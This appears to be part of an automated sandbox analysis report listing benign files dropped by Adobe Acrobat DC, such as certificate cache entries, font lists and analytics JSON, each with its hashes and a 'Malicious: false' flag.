Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklHikVltfllXlE/HT8kkAll7l/tNNX8RolJuRdxLlGB9lQRYwpDdt:kK9seT8ylz7NMa8RdWBwRd
MD5:	FB82A8AF4B76D7811E0D7EADB88DD557
SHA1:	AD23ADC81175CC3D1202E1AD1B756AB333759070
SHA-256:	DC20796C393678F2DBA51DD2F1949B40BA718D7E3ACE162BA6BC29B574C709BE
SHA-512:	C2392395DFAE25E36FF16E67ED78602EC324EC3F979C6E8BEA817AFC4D732C513529D40FEC33ECFD0753CC5D7408EBDC5636B8499C444CFA019E128226893975
Malicious:	false
Preview:	p...... ..........{..c..(....................................................... ..........W.....e..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.123187961780305
Encrypted:	false
SSDEEP:	6:kK4L/L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:Y/iDnLNkPlE99SNxAhUe/3
MD5:	C8BC867832176F1C2F924161A7AE6F0E
SHA1:	C171AF959D89B8F1F37F9735CC2E15A268C38F3D
SHA-256:	B5B865BCD8592C879A3B411906EDA7406FBD420BA4107DCFDE83B11304741EE4
SHA-512:	993AF5F9597293FBDACC1415C6F15B9339F429FF57510A9808C86DB4F6775B2A40305762A04D8DDD5EF2346A84E47FE46D3E7803D337FE6B94C6D0AD4BDAD270
Malicious:	false
Preview:	p...... ........r....c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7780

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7780

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.35148904646197
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1ujlp2KWmSg1c2LjcWkHvR0Yb/oAvJM3g98kUwPeUkwRe9:YvXKXgBHhT5LjIP3AGMbLUkee9
MD5:	338B94F66B0C91BA82D20E6347789740
SHA1:	A7BA28CBD4324B13AB4A99004F84F2B5C2091230
SHA-256:	02CF41277FA5B036AB499DCFB4E34AF143D2EAED8A1388284B8D8D22AB168BCA
SHA-512:	22A79E09A90DFBD549C8D9C1B2E37C0EC8AD430155FE2173942AB04241A05020AD2F038C02A0F9C024FEDDA00DCFCBDE7E23B880868814516BAD3200B0392411
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e72f6f70-f20a-4703-8cf1-20b6b2e7518e","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736749681914,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.301133430479941
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1ujlp2KWmSg1c2LjcWkHvR0Yb/oAvJfBoTfXpnrPeUkwRe9:YvXKXgBHhT5LjIP3AGWTfXcUkee9
MD5:	A12D621D16EB57D5EEF4EF612100F843
SHA1:	D0C27C1C03A3F61B68773D0D541CE82CE1E0C328
SHA-256:	2621BC4B4D3FD47E40E1B90B0359EF4E9ED75610B02D6307767F6D3E0E6E23DB
SHA-512:	D1AF25A29AB1E5B68A1A4EFB01F549059822A72D4A53633F0A9F9C90D2B370B811DE71CE072EE77EA47AB32F1EFAD05DB5AB7DCE08C331C81209818005F92E91
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e72f6f70-f20a-4703-8cf1-20b6b2e7518e","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736749681914,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.280401224394611
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1ujlp2KWmSg1c2LjcWkHvR0Yb/oAvJfBD2G6UpnrPeUkwRe9:YvXKXgBHhT5LjIP3AGR22cUkee9
MD5:	F9D906BA402A3158ADC7C842327AE6B5
SHA1:	21CF188188A4C1AB5403C8D41DFAC38756FADFDD
SHA-256:	0804D5A4B1435EC5D14B83AB77DDF48FBA9D1AB72BB639EE85898BF37EB67B73
SHA-512:	92D7B513F9F133864EBFC4E45201F0BB8C016F3B9677611E7E44858557BE266C4ABC9DBA635D20F7B21C472C0F74E15C848BAB0E28C5FFF04089AC76DFC70B3E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e72f6f70-f20a-4703-8cf1-20b6b2e7518e","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736749681914,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.33207443551702
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1ujlp2KWmSg1c2LjcWkHvR0Yb/oAvJfPmwrPeUkwRe9:YvXKXgBHhT5LjIP3AGH56Ukee9
MD5:	F3B80FF9FB9C02778A74165E541A3394
SHA1:	645C766EB9B681BE0014FB4AC2A382FCD94CE73F
SHA-256:	DEEB33D27FA928FAB90E2A70F4D50825DB06F90A3D9F515E3CA24ECD815ACF63
SHA-512:	6933C2FAA427EE58508B3C899FD10D3E00BABF19CDA15AC5C38A9825228AB3FD29CCECF4744FDCC17659A1443104DD30CD6E7AE7C23FDE146B1686F1D5921DBB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e72f6f70-f20a-4703-8cf1-20b6b2e7518e","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736749681914,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.698590055228384
Encrypted:	false
SSDEEP:	24:Yv6XgTT5XIPdpLgE9cQx8LennAvzBvkn0RCmK8czOCCS4:YvXZX2dhgy6SAFv5Ah8cv/4
MD5:	F186EF76C9BA45B35011FCE561F8E461
SHA1:	53DC019D68C4E59437EA831B5ED3144E88EED991
SHA-256:	919372B79FDB74A8ED4E0738EA63E4B2C9F4488C54DA0859B5BCEA003FEB1224
SHA-512:	CC89ACBD6C4A3C133AA25116A31767E0B213198A913B5F5FBDE1155A03EEFF918C6232C3E45F21B2AA787343DFFF646D19E991FACFC152F50AC329909B4C65AF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e72f6f70-f20a-4703-8cf1-20b6b2e7518e","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736749681914,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.306294109365873
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1ujlp2KWmSg1c2LjcWkHvR0Yb/oAvJf8dPeUkwRe9:YvXKXgBHhT5LjIP3AGU8Ukee9
MD5:	FFBFD3BC1816467B31072861E5FF1E29
SHA1:	C7AE74A70FE1C4833A52D0CAFCD90EC5827CA859
SHA-256:	1415BDE364637AF837D123CBFAA8F028BDA79C57B1381F35717CF009ADC47980
SHA-512:	B70EDF9FE59099219CE04E904BE0A2E0AA9B832BE795E7DCE30D75955D66B72FC76AE88323FB7022333200E660C1B2C155A681BEABFBF1CACAA450BD66B4A302
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e72f6f70-f20a-4703-8cf1-20b6b2e7518e","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736749681914,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.297184672926242
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1ujlp2KWmSg1c2LjcWkHvR0Yb/oAvJfQ1rPeUkwRe9:YvXKXgBHhT5LjIP3AGY16Ukee9
MD5:	FE1199C9795F967A3B3B8B9D40BFB674
SHA1:	DC6B1179FB69060424434565D371592F4D188296
SHA-256:	BAA21430B73AE76913571E511614C06ED651FD43B87532C597C9C37E6C040D3D
SHA-512:	447B91CAC1B985B714E93E37388BF00E69665C13DFDE94757D1FD2778FB66C0B754AA314D4A64BFD6AE1EA1720A1FFCCFB62974C132C93F1488412CA163DF231
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e72f6f70-f20a-4703-8cf1-20b6b2e7518e","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736749681914,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.316293025892214
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1ujlp2KWmSg1c2LjcWkHvR0Yb/oAvJfFldPeUkwRe9:YvXKXgBHhT5LjIP3AGz8Ukee9
MD5:	A7CFB55C387C34FB6CE2C8A05333738C
SHA1:	FFB5F4579FB52AD7B3D08296AAFB628F2261FD00
SHA-256:	E6CAB83202106D4289FB3C17857D4EB50933A34A0DEF7353CA1E40BE8D03D6BF
SHA-512:	5A39C35DADBFA0FAE15B4BBC288766ACC87A11A4AFA66198DE6BEFBEB9CA03CF99472EB54660D0313098534E34D48A8DE8668139553C7B0D151EA949C2459D82
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e72f6f70-f20a-4703-8cf1-20b6b2e7518e","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736749681914,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.331824289522139
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1ujlp2KWmSg1c2LjcWkHvR0Yb/oAvJfzdPeUkwRe9:YvXKXgBHhT5LjIP3AGb8Ukee9
MD5:	7CB49E65FC24247105333F677BAA43D7
SHA1:	9BE5999B2CE968B3184DD02C49DA4E9B33687538
SHA-256:	7439F8723D6825DE82D0325BD8F7C243CAF0B79A8DFF69FB6827CD6F1780535B
SHA-512:	CFB8E70881CCF59812000BDE24AE44F123AD960176D85E17D25564C119A12BFA24000EEACB3A58017B97CE301868E9544DDC1BF3111BA3158959815B6CBA43E5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e72f6f70-f20a-4703-8cf1-20b6b2e7518e","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736749681914,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.312432913223755
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1ujlp2KWmSg1c2LjcWkHvR0Yb/oAvJfYdPeUkwRe9:YvXKXgBHhT5LjIP3AGg8Ukee9
MD5:	64DABC2936BA6DB853BB0ACA4BF053EB
SHA1:	D2035B38E1B71056CB3DC281FF77B7D40E85C59A
SHA-256:	E74A293ABB87A1E4806BC1CDBAA70D008966492E0205BC34B09C383E0E1A88B5
